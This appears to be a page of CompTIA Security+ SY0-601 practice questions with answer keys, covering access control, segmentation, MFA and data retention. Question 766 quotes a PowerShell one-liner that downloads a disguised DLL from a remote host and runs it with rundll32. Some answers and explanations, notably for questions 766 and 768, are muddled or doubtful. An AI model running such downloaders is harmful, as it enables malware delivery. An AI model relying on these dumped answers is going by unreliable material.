CompTIA SY0-601 Online Practice Questions and Exam Preparation

CompTIA SY0-601 Online Questions & Answers

• Question 761:

  A systems administrator needs to implement an access control scheme that will allow an object's access policy to be determined by its owner. Which of the following access control schemes BEST fits the requirements?

  A. Role-based access control
  B. Discretionary access control
  C. Mandatory access control
  D. Attribute-based access control
  B. Discretionary access control

  ---

  Explanation Explanation/Reference:Discretionary access control (DAC) is a model of access control based on access being determined "by the owner" of the resource in question. The owner of the resource can decide who does and does not have access, and exactly what access they are allowed to have.

• Question 762:

  A large industrial system's smart generator monitors the system status and sends alerts to third-party maintenance personnel when critical failures occur. While reviewing the network logs the company's security manager notices the generator's IP is sending packets to an internal file server's IP.

  Which of the following mitigations would be BEST for the security manager to implement while maintaining alerting capabilities?

  A. Segmentation
  B. Firewall whitelisting
  C. Containment D. isolation
  A. Segmentation

  ---

  Segmentation. DMZ and VLAN are examples of segmentation. You can configure the device to be on its own isolated network while having access to the third-party vendor. The device will still try to communicate with the file server but traffic will be dropped and logged. This is how you would want to set up IoT and untrusted devices.

• Question 763:

  A security analyst is reviewing packet capture data from a compromised host on the network. In the packet capture, the analyst locates packets that contain large amounts of text. Which of the following is most likely installed on the compromised host?

  A. Keylogger
  B. Spyware
  C. Trojan
  D. Ransomware
  A. Keylogger

• Question 764:

  Which of the following is a reason why an organization would define an AUP?

  A. To define the lowest level of privileges needed for access and use of the organization's resources
  B. To define the set of rules and behaviors for users of the organization's IT systems
  C. To define the intended partnership between two organizations
  D. To define the availability and reliability characteristics between an IT provider and consumer
  B. To define the set of rules and behaviors for users of the organization's IT systems

• Question 765:

  A hosting provider needs to prove that its security controls have been in place over the last six months and have sufficiently protected customer data. Which of the following would provide the best proof that the hosting provider has met the requirements?

  A. NIST CSF
  B. SOC 2 Type 2 report
  C. CIS Top 20 compliance reports
  D. Vulnerability report
  B. SOC 2 Type 2 report

  ---

  Explanation Explanation/Reference:

• Question 766:

  An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:

  C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg - OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll

  Which of the following BEST describes what the analyst found?

  A. A Powershell code is performing a DLL injection.
  B. A PowerShell code is displaying a picture.
  C. A PowerShell code is configuring environmental variables.
  D. A PowerShell code is changing Windows Update settings.
  A. A Powershell code is performing a DLL injection.

  ---

  According to GitHub user JSGetty196's notes1, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism. https://www.comptia.org/training/books/security-sy0-601-study-guide

• Question 767:

  A news article states that a popular web browser deployed on all corporate PCs is vulnerable to a zero-day attack. Which of the following MOST concerns the Chief Information Security Officer about the information in the news article?

  A. Insider threats have compromised this network.
  B. Web browsing is not functional for the entire network.
  C. Antivirus signatures are required to be updated immediately.
  D. No patches are available for the web browser.
  D. No patches are available for the web browser.

• Question 768:

  Which of the following BEST describes the MFA attribute that requires a callback on a predefined landline?

  A. Something you exhibit
  B. Something you can do
  C. Someone you know
  D. Somewhere you are
  B. Something you can do

  ---

  Something you do is a type of authentication which proves identities by observing actions. These actions could be things like gestures or touches D is wrong because is not biometric (fingerprint, eyes, voice, face,etc)

• Question 769:

  An administrator assists the legal and compliance team with ensuring information about customer transactions is archived for the proper time period. Which of the following data policies is the administrator carrying out?

  A. Compromise
  B. Retention
  C. Analysis
  D. Transfer
  E. Inventory
  B. Retention

  ---

  Retention policies specify how long data should be retained or archived to meet legal, compliance, and business requirements. In this case, the administrator is assisting the legal and compliance team in ensuring that information about customer transactions is archived for the proper time period, which aligns with data retention policies.

• Question 770:

  A company is implementing BYOD and wants to ensure all users have access to the same cloud-based services. Which of the following would BEST allow the company to meet this requirement?

  A. laaS
  B. PasS
  C. MaaS
  D. SaaS
  D. SaaS

  ---

  Explanation Explanation/Reference:SaaS. It is not stating what type of devices, just BYOD, so cannot tell which platform is needed, or what requirements are involved. SaaS is the one that fits the most, IMHO.